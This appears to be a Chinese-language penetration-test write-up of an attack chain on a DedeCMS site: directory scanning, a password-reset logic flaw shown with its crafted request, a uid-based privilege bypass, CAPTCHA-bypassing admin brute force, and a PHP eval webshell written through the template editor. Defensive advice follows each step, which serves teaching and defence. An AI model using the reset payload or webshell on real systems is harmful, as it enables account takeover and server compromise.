前言

织梦CMS(DedeCMS)是国内老牌的内容管理系统,虽然现在新项目用得少了,但存量站点依然不少。这篇文章记录了一次完整的DedeCMS渗透测试过程,从信息收集到最终GetShell,涵盖了多个常见的Web安全漏洞。

一、信息收集

1.1 目录扫描

用御剑对目标站点进行目录扫描,发现了两个关键信息:

robots.txt泄露目录结构:

robots.txt泄露

robots.txt里暴露了后台路径和一些敏感目录,这在实际渗透中很常见——很多开发不重视robots.txt的配置,把不该暴露的路径都写进去了。

源码备份文件泄露:

扫描发现 web.zip 存在且可直接下载。源码泄露是高危漏洞,攻击者拿到源码后可以本地审计,找到SQL注入、文件上传等漏洞,效率比黑盒测试高十倍。

御剑扫描结果

1.2 信息收集小结

这一步拿到了两个关键信息:CMS类型(DedeCMS)和源码备份。有了这两样东西,后面的渗透基本就是”开卷考试”了。

防御建议:

  • robots.txt不要暴露敏感路径,只写需要屏蔽爬虫的规则
  • 删除服务器上的备份文件(.zip、.rar、.bak、.sql),不要图省事留在Web目录下
  • 配置Nginx/Apache禁止访问敏感后缀文件

二、前台任意用户密码修改

2.1 漏洞发现

查到DedeCMS存在前台任意用户密码修改的Nday漏洞。利用条件是知道目标用户的ID和安全问题答案。

2.2 利用过程

进入找回密码功能,Burp抓包,构造请求:

dopost=safequestion&id=2&userid=admin&safequestion=00&safeanswer=0&vdcode=Vs4p

BP抓包

这里的关键是 safequestion=00safeanswer=0——利用的是DedeCMS对安全问题校验的逻辑缺陷。当安全问题为空时,校验逻辑直接跳过,返回了密码重置链接。

重置密码

拿到重置链接后,直接修改admin用户的密码,然后前台登录成功。

登录成功

2.3 发现越权

登录后发现用户空间页面存在水平越权:

http://target/member/index.php?uid=hejun

越权访问

修改 uid 参数即可查看任意用户的资料页,确认 hejun 是管理员账号。

发现管理员

防御建议:

  • 安全问题校验必须严格匹配,不能因为答案为空就跳过校验
  • 密码重置链接应设置短时效(5分钟)且一次性使用
  • 用户资料页的uid参数应从session中获取,不信任前端传参

三、后台爆破与验证码绕过

3.1 后台目录爆破

用DedeCMS专用的后台目录爆破工具,针对Windows部署的DedeCMS进行目录猜解,找到后台登录地址。

后台目录爆破

3.2 验证码绕过

后台登录有验证码保护,普通爆破工具用不了。这里用了 xiapao(BP插件,基于机器学习的验证码识别),配置好识别接口后,把登录请求发到Intruder模块,配合常见密码字典进行爆破。

验证码识别配置

BP爆破

最终爆破出管理员密码。

3.3 一个有趣的发现

用前台修改的密码尝试登录后台,发现登录失败。推测DedeCMS的前台用户表和后台管理员表是分开的——前台改的是 member 表,后台用的是 admin 表。这也解释了为什么前台越权找到的管理员账号无法直接从前台登录。

后台登录

防御建议:

  • 验证码必须在服务端校验,且一次失效,不能被前端绕过
  • 后台登录应加账号锁定策略(5次失败锁定15分钟)
  • 后台地址不要用默认路径,改一个不规则的名字
  • 密码强度要求:至少8位,包含大小写字母+数字+特殊字符

四、后台GetShell

4.1 上传Webshell

登录后台后,利用DedeCMS后台的模板编辑功能,直接写入一句话木马:

<?php eval($_POST['cmd']); ?>

上传Webshell

DedeCMS后台默认允许编辑模板文件,而且没有对PHP代码做过滤。这是很多CMS后台的通病——给了管理员太大的权限,一旦后台被突破,服务器就等于丢了。

4.2 蚁剑连接

用蚁剑(AntSword)连接上传的Webshell,成功拿到服务器的命令执行权限,渗透测试完成。

蚁剑连接

防御建议:

  • 后台模板编辑功能应该禁用,或者限制只能编辑特定目录
  • 对用户输入做PHP代码过滤,禁止 <?php、eval、exec 等危险函数
  • Web目录设置只读权限,Web进程用户不能写入文件
  • 部署WAF,拦截Webshell上传行为

五、完整攻击链总结

步骤 操作 利用的漏洞
1 御剑扫描目录 robots.txt泄露 + 源码备份泄露
2 前台任意密码修改 DedeCMS Nday – 安全校验逻辑绕过
3 用户空间越权 水平越权(uid参数可控)
4 后台目录爆破 默认后台路径未修改
5 后台密码爆破 弱口令 + 验证码可绕过
6 模板写入Webshell 后台模板编辑无限制
7 蚁剑连接 一句话木马执行

六、经验总结

这次渗透的核心思路就是:信息收集拿到CMS类型和源码 → 查Nday利用 → 突破前台 → 爆破后台 → GetShell。每一步都不复杂,但串起来就是一条完整的攻击链。

几个值得注意的点:

  • 源码泄露是最大的隐患:拿到源码后所有漏洞都摆在明面上,比黑盒测试效率高太多
  • 弱口令依然是最常见的突破口:这种密码在现在还有人用
  • 前后台分离不等于安全:前台用户表和管理员表分开,但前台的漏洞照样能帮攻击者定位管理员账号
  • 后台权限过大是通病:模板编辑、文件管理这些功能,一旦后台被突破,服务器基本就没了

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注